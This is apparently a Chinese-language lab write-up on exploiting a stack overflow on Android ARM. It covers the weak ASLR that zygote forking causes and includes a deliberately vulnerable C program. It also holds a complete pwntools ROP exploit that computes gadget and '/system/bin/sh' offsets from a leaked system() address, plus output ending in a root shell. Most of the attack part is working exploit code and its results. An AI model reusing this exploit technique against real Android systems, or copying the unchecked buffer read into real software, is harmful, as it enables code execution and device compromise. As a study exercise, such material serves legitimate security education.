首先Android上的ASLR是伪ASLR,因为所有程序都是由zygote fork出来的,因此系统中的所有library的基址都是相同的,并且和zygote的内存布局一样,可以通过cat /proc/xxx/maps得到证实:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
#!bash root@hammerhead:/ # cat /proc/1698/maps 400e8000-400ed000 r-xp 00000000 b3:19 8201 /system/bin/app_process 400ed000-400ee000 r--p 00004000 b3:19 8201 /system/bin/app_process 400ee000-400ef000 rw-p 00005000 b3:19 8201 /system/bin/app_process 400ef000-400fe000 r-xp 00000000 b3:19 8248 /system/bin/linker 400fe000-400ff000 r-xp 00000000 00:00 0 [sigpage] 400ff000-40100000 r--p 0000f000 b3:19 8248 /system/bin/linker 40100000-40101000 rw-p 00010000 b3:19 8248 /system/bin/linker 40101000-40104000 rw-p 00000000 00:00 0 40104000-40105000 r--p 00000000 00:00 0 40105000-40106000 rw-p 00000000 00:00 0 [anon:libc_malloc] 40106000-40109000 r-xp 00000000 b3:19 49324 /system/lib/liblog.so 40109000-4010a000 r--p 00002000 b3:19 49324 /system/lib/liblog.so 4010a000-4010b000 rw-p 00003000 b3:19 49324 /system/lib/liblog.so 4010b000-40153000 r-xp 00000000 b3:19 49236 /system/lib/libc.so 40153000-40155000 r--p 00047000 b3:19 49236 /system/lib/libc.so 40155000-40158000 rw-p 00049000 b3:19 49236 /system/lib/libc.so root@hammerhead:/ # cat /proc/1720/maps 400e8000-400ed000 r-xp 00000000 b3:19 8201 /system/bin/app_process 400ed000-400ee000 r--p 00004000 b3:19 8201 /system/bin/app_process 400ee000-400ef000 rw-p 00005000 b3:19 8201 /system/bin/app_process 400ef000-400fe000 r-xp 00000000 b3:19 8248 /system/bin/linker 400fe000-400ff000 r-xp 00000000 00:00 0 [sigpage] 400ff000-40100000 r--p 0000f000 b3:19 8248 /system/bin/linker 40100000-40101000 rw-p 00010000 b3:19 8248 /system/bin/linker 40101000-40104000 rw-p 00000000 00:00 0 40104000-40105000 r--p 00000000 00:00 0 40105000-40106000 rw-p 00000000 00:00 0 [anon:libc_malloc] 40106000-40109000 r-xp 00000000 b3:19 49324 /system/lib/liblog.so 40109000-4010a000 r--p 00002000 b3:19 49324 /system/lib/liblog.so 4010a000-4010b000 rw-p 00003000 b3:19 49324 /system/lib/liblog.so 4010b000-40153000 r-xp 00000000 b3:19 49236 /system/lib/libc.so 40153000-40155000 r--p 00047000 b3:19 49236 /system/lib/libc.so 40155000-40158000 rw-p 00049000 b3:19 49236 /system/lib/libc.so |
因此只要在自己的APP上得到libc.so的地址,同样也就可以知道其他APP的libc.so的基址了。
level8.c代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
#include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<dlfcn.h> void getsystemaddr() { void* handle = dlopen("libc.so", RTLD_LAZY); printf("%p\n",dlsym(handle,"system")); fflush(stdout); } void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char** argv) { getsystemaddr(); write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); } |
这个程序会先输出system的地址,相当于我们已经获取了这个进程的内存布局,接下来我们可以通过ROPgadget从libc.so中寻找我们需要的gadget地址,因为libc.so文件足够的大,因此我们完全不用担心找不到需要的gadgets,但是很奇怪,我第一次用ROPgadget将gadget地址保存至txt文件中,只有很少量的可用地址,因为这个问题,导致我在这里卡了2、3个小时,@_@
1 2 |
#0x0002e188 : ldr r0, [sp, #4] ; pop {r2, r3, r4, r5, r6, pc} #0x000348a2 : ldr r0, [sp] ; pop {r1, r2, r3, pc} |
其中348a2这个地址是与教程上的34ace一致的,因此,只要再将/system/bin/sh的地址确认即可。


虽然知道了gadget和/system/bin/sh的地址,我们依然需要根据system在内存中的地址进行偏移量的计算才能够成功的找到gadgets和”/system/bin/sh”在内存中的地址,另外这里还需要留意一下thumb和arm指令转换的问题,最终的exp.py如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
#!/usr/bin/env python # -- coding: utf-8 -- from pwn import * #p = process('./level8') p = remote('127.0.0.1',10001) system_addr_str = p.recvuntil('\n') print "str:" + system_addr_str system_addr = int(system_addr_str,16) print "system_addr = " + hex(system_addr) p.recvuntil('\n') #0x0002e188 : ldr r0, [sp, #4] ; pop {r2, r3, r4, r5, r6, pc} #0x000348a2 : ldr r0, [sp] ; pop {r1, r2, r3, pc} gadget1 = system_addr + (0x0002e188 - 0x000250E0) print "gadget1 = " + hex(gadget1) #.rodata:0003F8AC aSystemBinSh DCB "/system/bin/sh",0 r0 = system_addr + (0x0003F8AC - 0x000250E0) - 1 print "/system/bin/sh addr = " + hex(r0) #如果使用0x2e188这个地址的gadget的话,通过计算*0xc同样可以成功实现 payload = '\x00'*132 + p32(gadget1) + "\x00"*0x4 + p32(r0) + "\x00"*0xc + p32(system_addr) #payload = '\x00'*132 + p32(gadget1) + p32(r0) +"\x00"*0x8 + p32(system_addr) p.send(payload) p.interactive() |
如果要使用2e188这个地址的话,需要增加0xc个”\x00″,具体计算方式:0x4*(R2+R3+R4+R5+R6)-0x4-0x4(R0)=0xc
执行结果:
1 2 3 4 5 6 7 8 9 10 |
$ python level8.py [+] Opening connection to 127.0.0.1 on port 10001: Done str:0xb6eb40e1 system_addr = 0xb6eb40e1 gadget1 = 0xb6ebd189 /system/bin/sh addr = 0xb6ece8ac [*] Switching to interactive mode $ id uid=0(root) gid=0(root) context=u:r:init:s0 |